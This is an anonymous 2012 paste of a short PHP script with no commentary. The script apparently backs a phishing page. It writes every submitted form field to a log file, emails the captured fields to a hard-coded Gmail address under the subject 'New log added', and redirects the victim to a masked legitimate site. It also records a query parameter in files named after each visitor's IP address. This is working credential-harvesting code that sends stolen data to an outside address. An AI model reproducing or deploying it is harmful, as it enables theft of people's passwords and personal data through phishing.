SHARE
TWEET

Untitled

a guest May 7th, 2012 38 Never
  1. <?php
  2.  
  3. header('Location: https://XXXXXX.com/');
  4. $handle = fopen("secure123/XXXXXX.txt", "a");
  5. $message='';
  6. foreach($_POST as $variable => $value) {
  7.    $message.=$variable.'='.$value."\r\n";
  8.    fwrite($handle, $variable);
  9.    fwrite($handle, "=");
  10.    fwrite($handle, $value);
  11.    fwrite($handle, "\r\n");
  12. }
  13. fwrite($handle, "\r\n");
  14. fclose($handle);
  15.  
  16. $to = "allthingspp@gmail.com";
  17. $subject = "New log added - XXXXXXXX";
  18. mail($to,$subject,$message);
  19.  
  20.  
  21. if (isset($_POST) && !empty($_POST)) { mail($to, $subject, $message); }
  22.  
  23.  
  24. $_GET['iambr'];
  25. $file = fopen("secure123/". $_SERVER['REMOTE_ADDR'] . ".txt","a");
  26. fwrite($file,$_GET['iambr'] . '||');
  27. fclose($file);
  28.  
  29. ?>
RAW Paste Data
Top